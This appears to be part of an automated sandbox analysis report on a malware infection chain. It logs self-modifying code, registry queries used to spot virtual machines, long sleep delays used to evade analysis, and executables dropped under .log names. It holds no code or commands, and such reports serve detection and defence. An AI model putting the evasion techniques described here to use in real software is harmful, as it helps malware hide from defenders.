Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BA986A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Special instruction interceptor: First address: A37CA9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Special instruction interceptor: First address: A37BE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Special instruction interceptor: First address: C5CEDE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Special instruction interceptor: First address: 437B69 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Special instruction interceptor: First address: 5FB5B9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Special instruction interceptor: First address: 3CFC48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Special instruction interceptor: First address: 3CFD09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Special instruction interceptor: First address: 5A2C34 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Special instruction interceptor: First address: 5808D5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Special instruction interceptor: First address: 60552E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Special instruction interceptor: First address: 437B69 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Special instruction interceptor: First address: 5FB5B9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Special instruction interceptor: First address: 665D08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Special instruction interceptor: First address: 3CFC48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Special instruction interceptor: First address: 3CFD09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Special instruction interceptor: First address: 5A2C34 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Special instruction interceptor: First address: 5808D5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Special instruction interceptor: First address: CDDC50 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Special instruction interceptor: First address: E8DB55 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Special instruction interceptor: First address: 60552E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Special instruction interceptor: First address: F25A22 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Special instruction interceptor: First address: CE2FA0 instructions caused by: Self-modifying code

Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Memory allocated: 15E0000 memory reserve \| memory write watch
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Memory allocated: 1B340000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Memory allocated: 2590000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Memory allocated: 1A720000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Memory allocated: D00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Memory allocated: 1AA50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Memory allocated: DA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Memory allocated: 1A9D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Memory allocated: 2B00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Memory allocated: 1AB70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Memory allocated: 4A50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Memory allocated: 4D70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Memory allocated: 6D70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Memory allocated: C50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Memory allocated: 1A570000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05550BEF rdtsc

0_2_05550BEF

Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 599500
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 599109
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 598734
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 598328
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 597468
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 597203
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 3600000
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 596968
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 596328
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 596093
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 595874
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 595733
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 595597
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 595390
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 594000
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 593766
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 593655
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 593500
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 593281
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 593140
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 593025
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 592884
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 592734
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 592515
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 592281
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 591922
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 591281
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 591047
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 590781
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 590578
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 590343
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 590093
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 589906
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 589746
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 589593
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 589418
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 589234
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 588984
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 588390
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 588125
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587990
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587812
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587659
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587531
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587360
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587234
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 587105
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586988
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586862
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586733
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586616
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586484
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586349
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 586093
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585831
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585703
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585577
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585468
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585358
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585249
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585136
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 585010
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584905
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584781
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584652
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584546
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584435
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584327
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584215
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 584093
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 583968
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 583834
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 583640
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 583281
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 583137
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 583013
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582901
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582772
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582619
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582500
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582372
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582203
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 582015
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 581843
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 581672
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 581484
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 581250
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 580984
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 580625
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 580479
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 580342
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 580093
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579905
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579751
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579625
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579500
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579390
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579268
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 579125
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 578967
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 578859
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 578740
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 578578
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 578297
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577862
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577702
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577584
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577453
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577341
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577231
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577123
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 577007
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576900
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576796
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576656
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576441
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576318
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576177
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 576047
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 575922
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 575794
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 575250
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 574859
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 989	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 879	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 990	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1581	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 963	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1515	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 989	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Window / User API: threadDelayed 2923
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Window / User API: threadDelayed 3506
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Window / User API: threadDelayed 2682
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4216
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3698
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Window / User API: threadDelayed 9141

Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TpmKebIc.log	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KhFvuBjj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UlZluYeg.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AdKFKFnN.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\iRizqjSy.log	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\QIbCILuV.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\vkhfhZiZ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\GCPU1MQ2Z7D5AGIRNVCF0.exe	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\yoQeKGzB.log	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AymfKYeB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016097001\ffce2e0a66.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016098001\76b7b2c16d.exe	Jump to dropped file
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\boWaNnOy.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016099001\9e7ab8eefc.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_9-23548

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6684	Thread sleep count: 989 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6684	Thread sleep time: -1978989s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5636	Thread sleep count: 879 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5636	Thread sleep time: -1758879s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5524	Thread sleep count: 990 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5524	Thread sleep time: -1980990s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5736	Thread sleep count: 234 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5736	Thread sleep time: -7020000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5256	Thread sleep count: 1581 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5256	Thread sleep time: -3163581s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5568	Thread sleep count: 963 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5568	Thread sleep time: -1926963s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1288	Thread sleep count: 1515 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1288	Thread sleep time: -3031515s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1436	Thread sleep count: 989 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1436	Thread sleep time: -1978989s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe TID: 6016	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe TID: 7000	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe TID: 5604	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe TID: 5604	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe TID: 5692	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe TID: 5692	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe TID: 3276	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe TID: 6120	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe TID: 4692	Thread sleep time: -30000s >= -30000s	Jump to behavior
